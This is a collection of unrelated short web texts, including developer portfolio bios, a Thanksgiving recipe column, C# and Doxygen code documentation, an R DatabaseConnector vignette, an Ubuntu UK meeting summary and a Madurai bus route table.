3 months after writing my first Hello World program on September 8th 2017 (While working in the marketing department) I had convinced my boss to let me take a stab at building a better version of the outdated laboratory management system my company was running on.
Before I knew it we transitioned from the old system and we're on to mine. My newbie self was now in charge of hosting hundreds of thousands of lab samples and supporting thousands of clients.
From this you’ll see that I’m someone that jumps before I can talk myself out of doing something scary.
Full stack developer at FOI laboratories.
Designed, built and managed a lab management system as a sole developer. System supported thousands of customers with a UI for Lab Admins and a customer dashboard.
Python, Django, HTML/CSS,Bootstrap,Jquery Java, and C#. I can’t possibly mention in one sentence! ;)
PS: Working on Kotlin, SQL, and AWS.
Reverse Engineer & Build Ugly Prototypes First.
I can learn just about anything by having a final product to tear apart piece by piece. I break the code where I need to figure out why things work the way they do. Documentation is just a reference.
After almost two years of supporting my system at the lab I’m ready to learn something new. I'll collaborating and sharing my experience with others on my blog.
Aside from building small projects I would love to enter a position where I can be part of a bigger team & learn from others with more experience than myself.


A Brilliant Thanksgiving Strategy: Make Sides Quickly, or Ahead
by Melissa ClarkAt the Thanksgiving table, the turkey is sacred. The stuffing is imperative, the gravy essential and the mashed potatoes a lumpy rite of passage.
But when it comes to any other side dishes, the cook is free to play. As long as it tastes good, is made of vegetables and fits on the table, pretty much anything can find a place at the feast.
In my mind, the most important considerations for Thanksgiving side dishes are practical ones. Since the rest of the day is one long marathon of turkey minding, pie tending and relative wrangling, I like to make something way in advance, or right at the last minute as the turkey rests. In either case, simplicity is everything, and using big, assertive seasonings to highlight one easy-to-maneuver vegetable gets you most of the way there.
[See how our columnist approaches Thanksgiving, at Melissa Clark’s Thanksgiving .]
Case in point: Cauliflower, which is a breeze to cut up and doesn’t shrink down to oblivion when you cook it, is a lot faster to deal with than, say, Swiss chard or kale with their fiddly stems, or mushrooms and spinach with their high moisture content.
 It can be prepared entirely in advance, and gets better as it bathes in its pungent dressing. Better yet, cauliflower comes in a brilliant array of autumnal colors, making it a festive addition to the table — a bit like those ubiquitous decorative gourds, but tasty.
You can also substitute broccoli for the cauliflower. It doesn’t come in a rainbow of hues, but given the brown and beige monotony of most Thanksgiving tables, its emerald vibrancy will perk things up.
Another strategy is quick high-heat roasting, which you can do when the oven frees up, during the 30 or so minutes the turkey rests.
The key here is to prep all your vegetables in advance, so all you have to do is pop the pan into the oven when the bird comes out. You can do this with practically any vegetable, even the dense ones. Just remember: The smaller you cut the pieces, the faster they will cook (I’m looking at you, winter squash). I particularly like a combination of thinly sliced brussels sprouts and shallots, which roast quickly and get crisp at the edges. But if time is an issue, the slicing attachment of the food processor can be of help and you can slice the sprouts the day before.
Colorful, convenient and flavorful, these side dishes add brightness and verve, on Thanksgiving and beyond.
Recipes: Lemony Cauliflower With Garlic and Herbs | Crispy Roasted Brussels Sprouts and Shallots
Follow NYT Food on Twitter and NYT Cooking on Instagram , Facebook , YouTube and Pinterest . Get regular updates from NYT Cooking, with recipe suggestions, cooking tips and shopping advice .


// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System.Linq.Expressions;
namespace System.Management.Automation.ComInterop
{
/// <summary>
/// ArgBuilder provides an argument value used by the MethodBinder. One ArgBuilder exists for each
/// physical parameter defined on a method.
///
/// Contrast this with ParameterWrapper which represents the logical argument passed to the method.
/// </summary>
internal abstract class ArgBuilder
{
/// <summary>
/// Provides the Expression which provides the value to be passed to the argument.
/// </summary>
internal abstract Expression Marshal(Expression parameter);
/// <summary>
/// Provides the Expression which provides the value to be passed to the argument.
/// This method is called when result is intended to be used ByRef.
/// </summary>
internal virtual Expression MarshalToRef(Expression parameter)
{
return Marshal(parameter);
}
/// <summary>
/// Provides an Expression which will update the provided value after a call to the method.
/// May return null if no update is required.
/// </summary>
internal virtual Expression UnmarshalFromRef(Expression newValue)
{
return newValue;
}
}
}
|


Tell your non-tech friend a story about a time you:
- Got blocked on a simple problem
- Solved a problem in an elegant way
In both cases:
What was the problem?
It was during the 4.0 Free codecamp challange.. a few of those to be honest. But one of the ones that tripped me up was Basic JavaScript: Record Collection.
What problem solving techniques did you use?
I tried everything... What I found helped most though was finding videos that described the subject
matter in different ways and walk you through similar questions. I find that sometimes the hardest
part of the question is actually figuring out what they want or what they're actually asking for.
How did you feel throughout the process?.
It could be a little stressfull felt like a comvaluted speed bump with this question. You sale down understanding everything answering the questions and then out of no where it's like "wait. what?" I found it important to write everthing down. Keep calm. Breath. And slowly figure it out.
What did you learn?
That I've still got a lot to learn and I'm getting there but it's a slightly different way of thinking. I've been making sure every now and again to sit down and read a book on coding, or watch a video or just something away from the sprints to try and get more programmer minded.
Reflect on how confident you feel using the problem solving techniques and process:
Pseudocode:It's always good to re write out the question in a form of code and to break
it down I a way that's easier to understand.
Trying something: Coding is essential trial and error you should always try reload the
page and see what happend. If it worked yay if not make notes on why not and try again.
Rubber ducky method: Haven't tried this one too much. But maybe I should..
Reading error messages: This is a really good way to see what's happening under the
hood and then being able to make live changes to things to see how far out you were and know
exactly what lines of code are stopping your program from running.
Console.logging: This is a good way to see of your functions are running the way they
should. Passing a variable that you know the answer to and making sure that's what you get out.
You can then test other areas of the functions and make sure what's being logged it correct.
Googling: Sadly still my go to. Can save time and someone has normally asked the same
question you have though sometimes the answers aren't the best. But it's normally a sure fire to see where you went wrong.
Asking your peers for help:At my old job when I was working in Python scripting small
tools for Maya there was always someone with a wealth of knowledge and understanding far beyond
mine around to help so asking a "Peer" was always the go to option for me. It help more I think
than the likes of google as you can pick the person's brain and ask more in depth questions and
actually get taught how to do it as opposed to just showing the answer.
Improving your process with reflection: Reflection is key it gives you a chance to see
where you struggled and how you struggled, then hopefully if you're still game find ways so you
don't struggle on the same kind of questions or areas again. This can be tricky as it's normally a
little deeper than just ah 2+2=4 it's more why does 2+2=4 and what about my way of thinking didn't
allow me to see that answer... If that makes sense..


|
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| ErrorCondition (string condition) |
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| ErrorCondition (Symbol condition) |
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| ErrorCondition (string condition, string description) |
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| ErrorCondition (Symbol condition, string description) |
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| ErrorCondition (Symbol condition, string description, IDictionary< Symbol, object > info) |
| |
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| ErrorCondition (ErrorCondition other) |
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object | Clone () |
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ErrorCondition | Copy () |
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override string | ToString () |
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override bool | Equals (object obj) |
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override int | GetHashCode () |
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static readonly ulong | DescriptorCode = 0x000000000000001dUL |
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static readonly Symbol | DescriptorSymbol = Symbol.Lookup("amqp:error:list") |
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Symbol | Condition [get] |
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string | Description [get] |
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IReadOnlyDictionary< Symbol, object > | Info [get] |
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The documentation for this class was generated from the following file:
- src/Proton/Types/Transport/ErrorCondition.cs


Search using address, street, city, state, and zipcode. Can filter services. Hover on markers for info.


The red panda is also called the lesser panda, the red bear-cat, and the red cat-bear.
These pandas typically grow to the size of a house cat, though their big, bushy tails add an additional 18 inches. The pandas use their ringed tails as wraparound blankets in the chilly mountain heights. The red panda shares the giant panda's rainy, high-altitude forest habitat, but has a wider range.
Excerpt from Red Panda by National Geographic.


| PWG Washington DC Meeting Details |
1394 Printing: May 18 & 19
PWG General Session: May 20 (8:30 - 10:30)
IPP: May 20 (10:30 - 5:30) & 21
Finisher & Job MIBS: May 22
| Meeting
Location: Crystal City Marriott 1999 Jefferson Davis Highway Arlington, VA Phone:<PHONE_NUMBER> |
The hotel rate is $169 per night.
Ask for the Printer Working
Group or Lexmark rate at this hotel.
Deadline for reservations is April 27, 1998
All attendees are responsible for making their own hotel
reservations.
There will be a meeting charge in the range of $30 - $40; participants are responsible for their own lunch.
YOU MUST RSVP TO Don Wright WITH THE FOLLOWING INFORMATION:
The Crystal City Marriott has a free shuttle to and from Washington National and has an elevator to the Crystal City Subway station that can take you into DC so if you don't want one, you won't need a car. This hotel is in a pretty nice area of Norhern Virginia.


So you heard I graduated...
tldr: I am 22 years old and just riding the wave.
Jump to section
Career Path
What is your life plan after graduation?
I don't know yet. In an ideal world I want to get a job in December and stay in the US for a couple of years. But I want to move back to Singapore long-term.
Updated 15 September 2018: I will be heading back to Singapore for an indefinite period of time to process my conversion from Malaysian to Singaporean citizenship.
Okay, but what about after that?
The job search will commence once I have a better idea of my timeline.
What kind of work are you looking for?
I'd like to work within the tech industry, doing some sort of digital design/web development work. Preferably a large startup. If you know anyone that might want to hire me, here's my LinkedIn. You can also reach me at<EMAIL_ADDRESS>Uni Stuff
Wait, what did you study again?
I graduated with a Bachelors of Science in Journalism and Interaction Design.
I know what Journalism is, but what is Interaction Design?
"Interactive Design is defined as a user-oriented field of study that focuses on meaningful communication of media through cyclical and collaborative processes between people and technology. Successful interactive designs have simple, clearly defined goals, a strong purpose and intuitive screen interface."
Basically I want to design and develop digital experiences.
Do you plan on staying in Boston?
In terms of where I will be looking for a job, yes. Maybe New York but I don't really want to move.
Updated 15 September 2018: Not anymore.
Updated 12 December 2018: If I head back to the US it'll be New York or Boston.
So did you like life in Boston/Northeastern?
Yes.
Isn't it, like, really cold?
Yes. But even this tropical baby got used to it.
Visa Stuff
Isn't it hard to get a work visa in the US?
Yes. However F1 student visa holders are eligible for 1-3 years of employment authorisation in the US before needing to apply for a work visa. But the whole switching citizenship thing may complicate things slightly. Or a lot.
Are you going to apply for a work visa?
At the moment, no. Going to try the student route and see what happens. But, Singaporean citizens also have a special work visa category, so it should be a little easier should I choose to take that route.
What happens if you don't get a job?
I haven't even started looking because I have no idea what continent I'll be on in 2 months. But if all else fails there's always grad school!
Other Hypotheticals
Wait, grad school?
Maybe. Trying the job thing first.
What about just staying in Singapore?
I intend on moving back in the long run, but if I have the opportunity to do something else first then I'd do that. And frankly, I couldn't afford it.
How about a green card wedding?
And be stuck paying American taxes? Nah. Also that's i l l e g a l.
I still have a question!
Any further questions/concerns/wise words/unsolicited opinions can be submitted via the form below. This doesn't actually send me anything, it's just to get it out of your system.


Overview: An important goal of this class is practicing design thinking. Toward this end, project teams will
identify an interesting problem space and will design and prototype novel system ideas using different approaches
and tools.
The deliverables for each phase of this project will be posted on an attractive project website that presents/showcases
your designs and describes your design rationale and process. This website is a portfolio piece and an exercise in
design, so presentation counts.
As modern-day technologies continue to evolve, present and future generations will continue to enjoy the benefits that make our lives easier, more convenient, and more comfortable. We live in a world driven by “convenience” and made up of the Internet of Things (IoT). To summarize, IoT is where any device with an on and off switch can be connected to the Internet and/or interconnected with each other creating a giant network of connected “things” that enable relationships between people-people, people-things, and things-things. [Morgan, 2014]
Team 1 will investigate the design space for using data and technology solutions based on IoT devices to maximize the possibilities of a “smart home.” This research will provide an analysis and gather requirements to support the design activities intending to maximize the benefits of home automation by integrating common consumer appliances, entertainment systems, and home décor into a centralized interface that provides real-time analytics and a more efficient way for economic management. The results of this effort will provide a number benefits to the average middle-class consumer, that has Internet connectivity located in any metropolitan cities within the United States. The design scope of this effort will focus on four areas of the home.
There is no shortage of possibilities in home automation or the ability to create a “smart home” within the evolution of IoT. By enabling devices with the intelligence to monitor and manage devices, data can be collected to programmatically drive decisions for automation. At the same time, this data can also be used to influence weekly, monthly, and annual spending trends or even used to alert authorities in case of an emergency. The use cases are limitless. Due to the lack of connectivity in many devices within the home, the ability to extract digital telemetry is not achievable; therefore, making it impossible to determine real-time state or consumption status for financial budgeting purposes, let alone manage a device from any remote computer.


Calculates the data for a histogram of the values in the node data of the input field.
Also generate the mean and standard deviation of those values.
in Mesh + Node_Data input field
ignore_min prim Lower bound of values not to ignore. ignore_max prim Upper bound of values not to ignore keep_range int Toggle whether or not to see whole range. nbins int Number of ranges to use (real data only).
bin_freq int[] Array of frequencies bin_val prim[] Array of labels of the frequencies mean double Mean of values in input data std_deviation double Standard Deviation of values in input data
Calculates the frequency of each individual value between two bounds in the node data.
For real data, it is obviously impossible to calculate frequencies for each individual value so instead the values are mapped to a set of ranges and frequencies calulated for each to those ranges.
The bounds between which frequencies of values are calculated can either be supplied as parameters to the module or, if they are not suppied, are set to be the maximum and minimum values in the node_data.
Where the data is mapped to ranges (ie for real data) all ranges are of equal size and the number of ranges (and hence to size of each range) can be entered as a parameter. If no value is supplied, the default number of 256 is used instead.
When bounds are supplied, output frequencies can either be supplied for the full range of data values (in which case frequencies of values outside the bounds are set to zero) or can just be supplied for the range of frequencies between the bounds.
The output consists of an array of integers which are the frequencies and an array of primatives (which is set to the type of in input node_data) which is a set of labels for the frequency values.
Where the input data is integer data (Byte, Short or Integer) the value of the label is that of the corresponding frequency. Where the input data is real data (Float or Double) the value of the lable is the mean of all the values in the node_data that are in the labels corresponding range. This ensures that mean of all the node_data (between the bounds) can be correctly calculated from the frequencies and labels.
The mean and standard deviation are calculated from the frequency and label value.
The module works for Byte, Short, Integer, Float and Double datatypes.
in
An AVS field containing node data.
ignore_min
The lower bound (below which values will be ignored) of type primative. Can be left unset. Must be of same type as ignore_max.
ignore_max
The upper bound (above which values will be ignored) of type primative. Can be left unset. Must be of same type as ignore_min.
nbins
The number to ranges to the data values to be divided into. Only used when node_data is of type real.
keep_range
A toggle which represents either to output frequencies for the full range of data, or just those value between the ignore_min & ignore_max bounds.
binval[]
Array of type primative which holds the labels to the frequency values
binfreq[]
Integer array holding the frequencies generated.
mean
Double precision floating point values, holding the mean of the input data.
std_deviation
Double precision floating point values, holding the standard deviation of the input data.
The User Macro general_histogram combines the Functional Macro GeneralHistogram with the UI Macro GeneralHistogramUI, via the use of the common parameter block GeneralHistogramParams, to provide a usable macro in the visualization library.
An example application GeneralHistogramEg is provided which uses the generalgraph module to display the histogram generated from the AVS/Express sample data file, lobstr.fld.
xp_comm_proj/gnrlhist/his_macs.v contains the Functional Macro GeneralHistogram, the User Macro general_histogram, the UI Macro GeneralHistogramUI and the Example Application GeneralHistogramEg.
Alex Allen. Manchester Visualization Centre Manchester Computing University of Manchester Oxford Road Manchester UK M13 9PL
GeneralHistogramNodeData, GeneralHistogramParams, GenerateStats, GeneralHistogram and GeneralHistogramUI.


I worked as a web designer about 1 year. Now I have been learning PHP and Laravel framework from january-2018. I am good at WordPress customization and now learning WordPress theme development. JavaScript is on my list of learning. I am searching a working environment where i can develop my skill by working on my relevant field.
This is a startup company. Here I am working as a Junior Web Developer. I do some PHP and wordpress releted code.
My responsibility was there to assist Senior Web Designer and do some html, css, bootstrap code. Sometimes I do some wordpress customization.
BD Calling is a freelance based company. They work with various clients from home and abroad. There I was an intern web designer. I applied my basic web design releted knowledge there such as html, css and bootstrap.
Apart from being a web developer, I enjoy most of my time being outdoors.  When forced indoors, I read a number of books such as history, politics, science, religion and economics etc.
Learning a new language is also my hobby. English is my most preferable language in this list. Currently I am learning Korean and Japanese language. I know some Korean but Japanese I've just started.


vignettes/UsingDatabaseConnector.Rmd
UsingDatabaseConnector.Rmd
DatabaseConnector is an R package for connecting to various database platforms using Java’s JDBC drivers.
Supported database platforms:
Before DatabaseConnector can be used to connect to a database, the drivers need to be downloaded to a location in the local file system.
For your convenience these JDBC drivers are hosted on the OHDSI GitHub pages, and can be downloaded using the downloadJdbcDrivers
function. Before downloading, we need to specify the location on the local file system where the driver can be stored. We recommend setting the DATABASECONNECTOR_JAR_FOLDER
environmental variable to the folder where the drivers are stored.
For example, in this vignette we will use the PostgreSQL driver. We specify the local folder we’d like to use for storing the PostgreSQL driver:
Sys.setenv("DATABASECONNECTOR_JAR_FOLDER" = "c:/temp/jdbcDrivers")
And next download the driver:
downloadJdbcDrivers("postgresql")
## DatabaseConnector JDBC drivers downloaded to 'c:/temp/jdbcDrivers'.
Note that if we hadn’t specified the DATABASECONNECTOR_JAR_FOLDER
environmental variable, we would have to specify the pathToDriver
argument when calling downloadJdbcDrivers
.
Because of licensing reasons the drivers for BigQuery, Netezza and Impala are not included but must be obtained by the user. Type
?jdbcDrivers
for instructions on how to download these drivers. Once downloaded, you can use the pathToDriver
argument of the connect
, dbConnect
, and createConnectionDetails
functions. Just like for the other JDBC drivers, we recommend setting the DATABASECONNECTOR_JAR_FOLDER
environmental variable instead.
For SQLite we actually don’t use a JDBC driver. Instead, we use the RSQLite package, which can be installed using
install.packages("RSQLite")
To connect to a database a number of details need to be specified, such as the database platform, the location of the server, the user name, password, and path to the driver. We can call the connect
function and specify these details directly:
conn <- connect(dbms = "postgresql",
server = "localhost/postgres",
user = "joe",
password = "secret")
## Connecting using PostgreSQL driver
See ?connect
for information on which details are required for each platform. Note that we did not need to specify the pathToDriver
argument because we previously already set the DATABASECONNECTOR_JAR_FOLDER
environmental variable.
Don’t forget to close any connection afterwards:
disconnect(conn)
Instead of providing the server name, it is also possible to provide the JDBC connection string if this is more convenient:
conn <- connect(dbms = "postgresql",
connectionString = "jdbc:postgresql://localhost:5432/postgres",
user = "joe",
password = "secret")
## Connecting using PostgreSQL driver
Sometimes we may want to first specify the connection details, and defer connecting until later. This may be convenient for example when the connection is established inside a function, and the details need to be passed as an argument. We can use the createConnectionDetails
function for this purpose:
details <- createConnectionDetails(dbms = "postgresql",
server = "localhost/postgres",
user = "joe",
password = "secret")
conn <- connect(details)
## Connecting using PostgreSQL driver
The main functions for querying database are the querySql
and executeSql
functions. The difference between these functions is that querySql
expects data to be returned by the database, and can handle only one SQL statement at a time. In contrast, executeSql
does not expect data to be returned, and accepts multiple SQL statements in a single SQL string.
Some examples:
querySql(conn, "SELECT TOP 3 * FROM person")
## PERSON_ID GENDER_CONCEPT_ID YEAR_OF_BIRTH
## 1 1 8507 1975
## 2 2 8507 1976
## 3 3 8507 1977
executeSql(conn, "TRUNCATE TABLE foo; DROP TABLE foo; CREATE TABLE foo (bar INT);")
Both function provide extensive error reporting: When an error is thrown by the server, the error message and the offending piece of SQL are written to a text file to allow better debugging. The executeSql
function also by default shows a progress bar, indicating the percentage of SQL statements that has been executed. If those attributes are not desired, the package also offers the lowLevelQuerySql
and lowLevelExecuteSql
functions.
Sometimes the data to be fetched from the database is too large to fit into memory. In this case one can use the Andromeda
package to store R data objects on file, and use them as if they are available in memory. DatabaseConnector
can download data directly into Andromeda objects:
library(Andromeda)
x <- andromeda()
querySqlToAndromeda(connection = conn,
sql = "SELECT * FROM person",
andromeda = x,
andromedaTableName = "person")
Where x
is now an Andromeda
object with table person
.
One challenge when writing code that is intended to run on multiple database platforms is that each platform has its own unique SQL dialect. To tackle this problem the SqlRender package was developed. SqlRender
can translate SQL from a single starting dialect (SQL Server SQL) into any of the platforms supported by DatabaseConnector. The following convenience functions are available that first call the render
and translate
functions in SqlRender
: renderTranslateExecuteSql
, renderTranslateQuerySql
, renderTranslateQuerySqlToAndromeda
. For example:
persons <- renderTranslatequerySql(conn,
sql = "SELECT TOP 10 * FROM @schema.person",
schema = "cdm_synpuf")
Note that the SQL Server-specific ‘TOP 10’ syntax will be translated to for example ‘LIMIT 10’ on PostgreSQL, and that the SQL parameter @schema
will be instantiated with the provided value ‘cdm_synpuf’.
Note that, on some platforms like Oracle, when using temp tables, it might be required to provide a tempEmulationSchema
, since these platforms do not support tables the way other platforms do.
Although it is also possible to insert data in the database by sending SQL statements using the executeSql
function, it is often convenient and faster to use the insertTable
function:
data(mtcars)
insertTable(conn, "mtcars", mtcars, createTable = TRUE)
In this example, we’re uploading the mtcars data frame to a table called ‘mtcars’ on the server, that will be automatically created.
DatabaseConnector
implements the DBI interface for compatibility with other R packages. One can use the DBI functions instead of the ones described before, for example:
conn <- dbConnect(DatabaseConnectorDriver(),
dbms = "postgresql",
server = "localhost/postgres",
user = "joe",
password = "secret")
## Connecting using PostgreSQL driver
dbIsValid(conn)
## [1] TRUE
res <- dbSendQuery(conn, "SELECT TOP 3 * FROM person")
dbFetch(res)
## PERSON_ID GENDER_CONCEPT_ID YEAR_OF_BIRTH
## 1 1 8507 1975
## 2 2 8507 1976
## 3 3 8507 1977
dbHasCompleted(res)
## [1] TRUE
dbClearResult(res)
dbDisconnect(res)
DatabaseConnector also supports SQLite through the RSQLite package, mainly for testing and demonstration purposes. Provide the path to the SQLite file as the server
argument when connecting. If no file exists it will be created:
## Connecting using SQLite driver
# Upload cars dataset as table:
insertTable(connection = conn,
tableName = "cars",
data = cars)
querySql(conn, "SELECT COUNT(*) FROM main.cars;")
## COUNT(*)
## 1 50
disconnect(conn)


#ukmeet: this meeting
Meeting started by daubers at 19:00:00 UTC
(full logs).
Meeting summary
- Review of action items from last meeting (daubers, 19:03:33)
- https://lists.ubuntu.com/archives/ubuntu-uk/2010-April/023790.html
(Daviey,
19:05:30)
- ACTION: People who
have achieved something in April, please place it in the
report (daubers, 19:07:11)
- http://loco.ubuntu.com/events/team/51/detail/
(AlanBell,
19:08:16)
- ACTION: Daubers to
either poke czajkowski to or get himself to send a mail to the -uk
list this evning about the geeknic in Liverpool (daubers,
19:12:34)
- https://wiki.ubuntu.com/UKTeam/Support_Guidelines
(daubers,
19:13:01)
- Daubers - Support Guidelines (daubers, 19:13:59)
- ACTION: Daubers to
write a tal for Oggcamp on the proposed support guidelines
(daubers,
19:19:20)
- ACTION: Daubers to
send a mail to the list explaining the guidelines (daubers,
19:24:40)
- ACTION: Daubers to
organise a meeting following the trial (daubers,
19:24:52)
- TBA - OGGCamp related bits (daubers, 19:25:21)
- http://ideas.oggcamp.org/
is a collection of bits of oggcamp info (AlanBell, 19:27:41)
- TBA - UDS related bits (daubers, 19:30:47)
- Any other business (daubers, 19:34:38)
- Release Parties (daubers, 19:35:21)
- http://www.evernote.com/pub/yamanickill/ubuntu
(yamanickill_, 19:37:48)
- ACTION: Anyone in the
vicinity of the Scottish Release Party to go, be sociable and enjoy
themselves while celebrating Lucid (daubers, 19:37:53)
- http://loco.ubuntu.com/events/team/121/detail/
(AlanBell,
19:38:34)
- http://loco.ubuntu.com/events/team/120/detail/
(daubers,
19:45:29)
- Any other Business (daubers, 19:47:14)
- Date of next meeting (daubers, 19:51:53)
- Next meeting 2nd of June danfish to chair (daubers, 20:02:51)
Meeting ended at 20:03:00 UTC
(full logs).
Action items
- People who have achieved something in April, please place it in the report
- Daubers to either poke czajkowski to or get himself to send a mail to the -uk list this evning about the geeknic in Liverpool
- Daubers to write a tal for Oggcamp on the proposed support guidelines
- Daubers to send a mail to the list explaining the guidelines
- Daubers to organise a meeting following the trial
- Anyone in the vicinity of the Scottish Release Party to go, be sociable and enjoy themselves while celebrating Lucid
People present (lines said)
- daubers (132)
- brobostigon (57)
- AlanBell (49)
- yamanickill_ (32)
- Daviey (17)
- Yorvyk (11)
- The_Toxic_Mite (9)
- Azelphur (8)
- BigRedS_ (4)
- dutchie (4)
- danfish (3)
- freesitebuilder_ (2)
- L0ki (2)
- MunkyJunky (2)
- TonyP (1)
- funkyHat (1)
Generated by MeetBot 0.1.4.


--- layout: tweet ---
It's the year of Linux on the Seatback, right?
11/13/2016, 5:20:44 AM
Favs: 24
Retweets: 8


This tests to see if an editable selection containing a focusable node is draggable by content inside that focusable node. To achieve this we delay focus of such nodes until mouse up. Below, the table should be inside the red bordered div.


<EMAIL_ADDRESS>WORK
ABOUT
Hi there! My name is John and I am a
Front-End Developer
Visual Designer
Product Architect
Content Strategist
PROBLEM SOLVER
Recent Projects
Axiom Bank
Loan Dashboard
Axiom Bank


|
s2n-doxygen-full
|
#include <x509_vfy.h>
Public Member Functions | |
| STACK_OF (X509)*untrusted | |
| STACK_OF (X509_CRL)*crls | |
| STACK_OF (X509)*(*lookup_certs)(X509_STORE_CTX *ctx | |
| STACK_OF (X509_CRL)*(*lookup_crls)(X509_STORE_CTX *ctx | |
| STACK_OF (X509)*chain | |
| STACK_OF (X509)*untrusted | |
| STACK_OF (X509_CRL)*crls | |
| STACK_OF (X509)*(*lookup_certs)(X509_STORE_CTX *ctx | |
| STACK_OF (X509_CRL)*(*lookup_crls)(X509_STORE_CTX *ctx | |
| STACK_OF (X509)*chain | |
Data Fields | |
| X509_STORE * | ctx |
| int | current_method |
| X509 * | cert |
| X509_VERIFY_PARAM * | param |
| void * | other_ctx |
| int(* | verify )(X509_STORE_CTX *ctx) |
| int(* | verify_cb )(int ok, X509_STORE_CTX *ctx) |
| int(* | get_issuer )(X509 **issuer, X509_STORE_CTX *ctx, X509 *x) |
| int(* | check_issued )(X509_STORE_CTX *ctx, X509 *x, X509 *issuer) |
| int(* | check_revocation )(X509_STORE_CTX *ctx) |
| int(* | get_crl )(X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x) |
| int(* | check_crl )(X509_STORE_CTX *ctx, X509_CRL *crl) |
| int(* | cert_crl )(X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x) |
| int(* | check_policy )(X509_STORE_CTX *ctx) |
| X509_NAME * | nm |
| int(* | cleanup )(X509_STORE_CTX *ctx) |
| int | valid |
| int | last_untrusted |
| X509_POLICY_TREE * | tree |
| int | explicit_policy |
| int | error_depth |
| int | error |
| X509 * | current_cert |
| X509 * | current_issuer |
| X509_CRL * | current_crl |
| int | current_crl_score |
| unsigned int | current_reasons |
| X509_STORE_CTX * | parent |
| CRYPTO_EX_DATA | ex_data |
Definition at line 236 of file x509_vfy.h.
| STACK_OF | ( | X509 | ) |
| STACK_OF | ( | X509_CRL | ) |
| STACK_OF | ( | X509 | ) |
| STACK_OF | ( | X509_CRL | ) |
| STACK_OF | ( | X509 | ) |
| STACK_OF | ( | X509 | ) |
| STACK_OF | ( | X509_CRL | ) |
| STACK_OF | ( | X509 | ) |
| STACK_OF | ( | X509_CRL | ) |
| STACK_OF | ( | X509 | ) |
| X509_STORE * ctx |
Definition at line 237 of file x509_vfy.h.
| int current_method |
Definition at line 239 of file x509_vfy.h.
| X509 * cert |
Definition at line 242 of file x509_vfy.h.
| X509_VERIFY_PARAM * param |
Definition at line 247 of file x509_vfy.h.
| void * other_ctx |
Definition at line 249 of file x509_vfy.h.
| int(* verify)(X509_STORE_CTX *ctx) |
Definition at line 252 of file x509_vfy.h.
| int(* verify_cb)(int ok, X509_STORE_CTX *ctx) |
Definition at line 254 of file x509_vfy.h.
| int(* get_issuer)(X509 **issuer, X509_STORE_CTX *ctx, X509 *x) |
Definition at line 256 of file x509_vfy.h.
| int(* check_issued)(X509_STORE_CTX *ctx, X509 *x, X509 *issuer) |
Definition at line 258 of file x509_vfy.h.
| int(* check_revocation)(X509_STORE_CTX *ctx) |
Definition at line 260 of file x509_vfy.h.
| int(* get_crl)(X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x) |
Definition at line 262 of file x509_vfy.h.
| int(* check_crl)(X509_STORE_CTX *ctx, X509_CRL *crl) |
Definition at line 264 of file x509_vfy.h.
| int(* cert_crl)(X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x) |
Definition at line 266 of file x509_vfy.h.
| int(* check_policy)(X509_STORE_CTX *ctx) |
Definition at line 267 of file x509_vfy.h.
| X509_NAME * nm |
Definition at line 268 of file x509_vfy.h.
| int(* cleanup)(X509_STORE_CTX *ctx) |
Definition at line 270 of file x509_vfy.h.
| int valid |
Definition at line 273 of file x509_vfy.h.
| int last_untrusted |
Definition at line 275 of file x509_vfy.h.
| X509_POLICY_TREE * tree |
Definition at line 279 of file x509_vfy.h.
| int explicit_policy |
Definition at line 281 of file x509_vfy.h.
| int error_depth |
Definition at line 283 of file x509_vfy.h.
| int error |
Definition at line 284 of file x509_vfy.h.
| X509 * current_cert |
Definition at line 285 of file x509_vfy.h.
| X509 * current_issuer |
Definition at line 287 of file x509_vfy.h.
| X509_CRL * current_crl |
Definition at line 289 of file x509_vfy.h.
| int current_crl_score |
Definition at line 291 of file x509_vfy.h.
| unsigned int current_reasons |
Definition at line 293 of file x509_vfy.h.
| X509_STORE_CTX * parent |
Definition at line 295 of file x509_vfy.h.
| CRYPTO_EX_DATA ex_data |
Definition at line 296 of file x509_vfy.h.


| List of Town Routes | ||||||
Route Number
|
From
|
To
|
Course |
No.of Services
|
Journey Time
|
Scheduled Starting Time
|
3 |
Palanganatham |
Integrated bus stand |
Periyar bus stand, Anna
bus stand |
4 |
0.40 |
5.30am,8.30am,1pm,5pm |
3A |
Periyar Bus stand |
Integrated bus stand |
Anna bus stand, K K
Nagar |
2 |
0.35
| 6am , 7.30am |
4 |
Arappalayam |
Viranganur ring road |
Periyar bus stand, Theppakkulam |
5 |
0.40 |
5.30am,8.30am,1pm,5pm
|
4C |
Periyar bus stand |
Integrated bus stand |
Theppakulam |
5 |
0.35 |
5.30am,8.30am,1pm,5pm,8pm
|
48A Exp |
Periyar bus stand |
Thirumangalam |
Thirunagar |
3 |
0.35 |
5.30am,8.30am,1pm
|
7 |
Arappalayam |
Palanganatham |
Periyar bus stand` |
5 |
0.20 |
6.30am,8.30am,12pm,4pm,7.30pm
|
48A FAST LSS |
Periyar bus stand |
Thirumangalam |
Thirunagar |
4 |
0.35 |
5.30am,8.30am,9.30pm,12.30pm,5pm
|
48 LSS |
Arappalayam |
Thirumangalam EB |
Thirunagar |
2 |
0.50 |
7.30am,8.30am
|
48EXP |
Arappalayam |
Thirumangalam |
Thirunagar |
4 |
0.45 |
5.30am,8.30am,1pm,5pm
|
48Y EXP |
Integraed bus stand |
Thirumangalam |
Periyar bus stand |
2 |
0.55 |
6.30am,8.30am
|
77B EXP |
Arappalayam |
Integrated
bus stand |
Simmakkal |
5 |
0.25 |
5.30am,8.30am,1pm,5pm
|
77B |
Arappalayam |
Integrated
bus stand |
Simmakkal |
7 |
0.30 |
5.30am,8.30am,9.30am,12pm,3pm
|
A5
LSS/B5 LSS |
Anna
nagar |
Thirupparankundram |
Periyar
bus stand |
3 |
0.45 |
7.30am,10.30am,5pm
|
5M
LSS |
Integraed
bus stand |
Thirupparankundram |
Periyar
bus stand |
4 |
0.45 |
5.30am,8.30am,1pm,5pm
|
10A |
Periyar
bus stand |
Airport |
Avaniyapuram |
2 |
0.30 |
5.30am,5.30pm
|
21D |
Periyar
bus stand |
M
K University |
V
N College, M K University |
4 |
0.35 |
5.30am,8.30am,1pm,5pm
|
21P |
Anuppanadi |
University |
Periyar
bus stand |
1 |
1.00 |
8.30am
|
38 |
Periyar
bus stand |
Vandiyur |
South
gate, Anna bus stand |
2 |
